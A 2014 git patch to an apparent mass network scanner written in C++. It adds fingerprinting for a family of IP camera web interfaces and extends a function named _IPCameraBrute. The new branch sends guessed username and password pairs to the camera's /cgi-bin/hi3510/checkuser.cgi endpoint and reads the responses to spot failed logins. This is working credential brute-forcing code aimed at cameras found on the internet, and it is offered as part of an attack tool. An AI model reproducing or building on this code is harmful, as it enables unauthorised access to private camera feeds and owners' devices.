From 09220cde34e399b750fb1ccb67a08b66b3658264 Mon Sep 17 00:00:00 2001 From: cora32 Date: Sun, 23 Nov 2014 21:32:50 +0300 Subject: [PATCH] =?UTF-8?q?=D0=94=D0=BE=D0=B1=D0=B0=D0=B2=D0=BB=D0=B5?= =?UTF-8?q?=D0=BD=20=D0=B4=D0=B5=D1=82=D0=B5=D0=BA=D1=82=20ipCAM-=D0=BA?= =?UTF-8?q?=D0=B0=D0=BC=D0=B5=D1=80=D1=8B?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- connector.cpp | 39 ++++++++++++++++++++++++++++++--------- finder.cpp | 10 +++++++++- 2 files changed, 39 insertions(+), 10 deletions(-) diff --git a/connector.cpp b/connector.cpp index 667df75..43a5240 100644 --- a/connector.cpp +++ b/connector.cpp @@ -1525,8 +1525,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C ++offlines; stt->doEmitionRedFoundData("[Omitting IP] Select error - " + - QString(std::to_string((long double)cErrCode).c_str()) + - " - " + QString(ip) + ":" + QString(std::to_string((long double)port).c_str())); + QString::number(cErrCode) + + " - " + QString(ip) + ":" + QString::number(port)); } else { @@ -1569,7 +1569,7 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C else { ++offlines; - stt->doEmitionRedFoundData("Send error " + QString(ip) + " - " + QString(std::to_string((long double)WSAGetLastError()).c_str())); + stt->doEmitionRedFoundData("Send error " + QString(ip) + " - " + QString::number(WSAGetLastError())); }; }; }; @@ -1584,22 +1584,22 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C else if(iError == 10049) { stt->doEmitionRedFoundData("[ADDR_NOT_AVAIL] " + QString(ip) + - ":" + QString(std::to_string((long double)port).c_str()) + - " - " + std::to_string((long double)iError).c_str()); + ":" + QString::number(port) + + " - " + QString::number(iError)); } else { stt->doEmitionRedFoundData("[Unpredictable error] " + QString(ip) + - ":" + QString(std::to_string((long double)port).c_str()) + - " - " + std::to_string((long double)iError).c_str()); + ":" + QString::number(port) + + " - " + QString::number(iError)); }; }; } else { stt->doEmitionRedFoundData("[?!] Strange behavior detected - " + - QString(std::to_string((long double)WSAGetLastError()).c_str()) + - " - " + QString(ip) + ":" + QString(std::to_string((long double)port).c_str())); + QString::number(WSAGetLastError()) + + " - " + QString(ip) + ":" + QString::number(port)); }; CSSOCKET(sock); @@ -2204,6 +2204,11 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) { negVector.push_back("Non-Existed"); } + else if(strcmp(SPEC, "IPCAM") == 0) + { + negVector.push_back("var check=\"0\""); + negVector.push_back("var authLevel =\"0\";"); + } else { stt->doEmitionRedFoundData("[_IPCameraBrute] No \"SPEC\" specified!"); @@ -2366,6 +2371,22 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) strcat(request, "\r\n\r\n"); strcat(request, passString); delete []passString; + } + else if(strcmp(SPEC, "IPCAM") == 0) + { + strcpy(request, "GET /cgi-bin/hi3510/checkuser.cgi?&-name="); + strcat(request, login); + strcat(request, "&-passwd="); + strcat(request, pass); + strcat(request, "&-time=1416767330831 HTTP/1.1\r\nHost: "); + strcat(request, ip); + if(port != 80){ + strcat(request, ":"); + char tbuff[16] = {0}; + strcat(request, itoa(port, tbuff, 10)); + }; + strcat(request, "\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: en-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nConnection: close\r\n\r\n"); + }; int res = _webLoginSeq(request, login, pass, ip, port, passCounter, SPEC, negVector); diff --git a/finder.cpp b/finder.cpp index 64d3eaa..d8fc683 100644 --- a/finder.cpp +++ b/finder.cpp @@ -292,7 +292,9 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip) if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG??? if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server - + if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL + && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam + if(strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL @@ -370,6 +372,8 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip) if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/config/index.cgi") != NULL) return 45; //Panasonic Cam BB-HG??? if(strstr(buffcpy, "/ui/") != NULL && strstr(buffcpy, "sencha-touch") != NULL) return 46; //BUFFALO disk if(strstr(buffcpy, "digital video server") != NULL && strstr(buffcpy, "gui.css") != NULL) return 47; //Digital Video Server + if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL + && strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam if(((strstr(buffcpy, "220") != NULL) && (port == 21)) || @@ -1756,6 +1760,10 @@ int Lexems::_filler(int p, char* buffcpy, char* ip, int recd, Lexems *lx, char * else if(flag == 47) //Digital Video Server { _specWEBIPCAMBrute(ip, p, hl, "[DVS] Camera", flag, "[DVS] Camera", "Web Authorization", cp, recd, "DVS"); + } + else if(flag == 48) //ipCAM + { + _specWEBIPCAMBrute(ip, p, hl, "[ipCAM] Camera", flag, "[ipCAM] Camera", "Web Authorization", cp, recd, "IPCAM"); } else if(flag == 20) //AXIS Camera {